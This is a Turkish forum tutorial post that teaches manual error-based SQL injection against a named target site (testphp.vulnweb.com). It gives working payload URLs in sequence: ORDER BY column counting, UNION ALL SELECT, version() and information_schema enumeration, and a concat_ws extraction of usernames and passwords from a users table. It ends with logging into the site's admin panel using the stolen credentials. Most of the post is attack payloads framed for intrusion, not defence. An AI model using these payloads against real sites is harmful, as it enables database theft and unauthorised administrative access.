30-01-2019 Saat:11:42
Merhaba değerli üyelerimiz,
Bu konumla beraber manuel olarak Hata Tabanlı SQL İnjection nasıl yapılır sorusuna yanıt alacak ve kavramış olacaksınız. Uygulamalı olarak anlatım yapıyorum... Daha fazla beklemeden başlayalım....
Hata Tabanlı SQL İnjection !
Ardından site URL'sinin sonuna tırnak (') işareti atıyoruz ve enterlıyoruz. Eğer ki sitemizde SQL açığı var ise aşağıdaki gibi bir hata alacağız.
Hatayı gördükten sonra link üzerinden tırnak (') işaretini silip linkin sonuna "+order+by+1" yazıyoruz enterladıktan sonra site aynı hatayı vermiyorsa aynı hatayı alana kadar kadar sondaki 1 rakamını 2,3,4,5,6,7.... ile değiştirip enterlıyoruz. Aşağıdaki gibi;
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+1
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+2
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+3
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+4
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+5
.
.
.
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+12
Bizim hedef sitemizde sona 12 yazdığımızda aynı hatayı tekrar aldık. Bu da demek oluyor ki sitemizde 11 adet kolon var. Eğer hatayı 30 yazdığımızda alsaydık sitemizde 29 adet kolon var diyecektik. Ancak hatayı 12'de aldık.
Şimdiki işlemimiz site sonuna "union+all+select+" ekleyip en sona sitedeki kolon sayısına kadar olan sayıları yazıyoruz. Mesela biz az önce sitede 11 adet kolon bulduk. Yani URL'yi şu şekilde düzenleyip enter yapacağız.
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=1+union+all+select+1,2,3,4,5,6,7,8,9,10,11
Bunu yaptıktan sonra URL'nin en sonuna (yani 11'in sonuna) "--" sembollerini koyuyoruz. Ve "cat=1" yazan yerde ID değerimizin yani 1'in başına "-" işaretini koyup enter diyoruz. Linkimizin son hali bu şekilde olacak;
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=-1+union+all+select+1,2,3,4,5,6,7,8,9,10,11--
Enter dedikten sonra karşımıza bu şekilde bir sayfa çıkacak;
buradaki sayılar şunu ifade ediyor;
7 rakamı 7. sütunda resim başlık bilgisini
2 rakamı 2. sütunda resim açıklamasını
9 rakamı 9. sütunda resmi yapan kişinin bilgisini getiriyor..
Biz bundan sonra yapacağımız işlemleri 7 , 2 ve 9. sütundan yapacağız. Sitenin hangi sürümü kullandığını bulabilmek için 7. kolonu URL'mizde şu şekilde değiştiriyoruz;
7 yazan yere "version()" yazarak enter yapıyoruz şu şekilde;
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=-1+union+all+select+1,2,3,4,5,6,version(),8,9,10,11--
Gördüğünüz gibi sitenin sürüm bilgisi karşımızda bu bilgiyi öğrendikten sonra şu işlemi yapıyoruz. "version()" yazdığımız yere "table_name" yazarak site URL'sinin sonuna "+from+information_schema.tables" yazarak enter diyelim. URL'miz şu şekilde olacak;
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=-1+union+all+select+1,2,3,4,5,6,table_name,8,9,10,11+from+information_schema.tables--
Ve Karşımıza şu şekilde bir sayfa çıkacak;
Bu sayfa sitede bulunan tabloları bize göstermekte. Bizim çekmek istediğimiz admin bilgileri olduğu için "users" tablosu üzerinden devam edeceğiz. URL'mizi şu şekilde düzenliyoruz.
"table_name" yazdığımız yere "column_name" yazıyoruz ardından linkin sonunda bulunan "schema.tables"i "schema.columns+where+table_name="users"" şeklinde değiştiriyoruz. URL'mizin son hali aşağıdaki gibi olacaktır;
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=-1+union+all+select+1,2,3,4,5,6,column_name,8,9,10,11+from+information_schema.columns+where+table_name=%22users%22--
Enter dedikten sonra karşımıza bu sayfa çıkacaktır;
Burada karşımıza uname , pass , cc adı verilen bilgiler sitem tablosu içinde yer alan kolon bilgileridir. Bunlar sistemin admin , parola bilgilerini içermektedir. Kolonların içerisindeki bilgilere ulaşabilmek için URL'yi aşaıdaki gibi düzenliyoruz ;
"column_name" yazan yeri "concat_ws(0x3a,uname,pass)" şeklinde değiştiriyoruz. Linkin sonundaki "11" yazan yerden sonrasını silip "+from+users--" yazıyoruz. ve enter diyoruz. URL'miz aşağıdaki hali alacaktır;
Kod:
http://testphp.vulnweb.com/listproducts.php?cat=-1+union+all+select+1,2,3,4,5,6,concat_ws(0x3a,uname,pass),8,9,10,11+from+users--
Karşımıza çıkan sayfada sitenin admin bilgilerini göreceğiz;
Bu bilgileri alıp sitenin admin panel girişinde gerekli yerlere yazdıktan sonra sitenin admin paneline giriş yapmış bulunacağız.
Bu şekilde Hata tabanlı SQL İnjection işlemini tamamlamış olduk. Kolay gelsin....
Konu Kripton tarafından Özgün Olarak Yazılmıştır / Anlatılmıştır.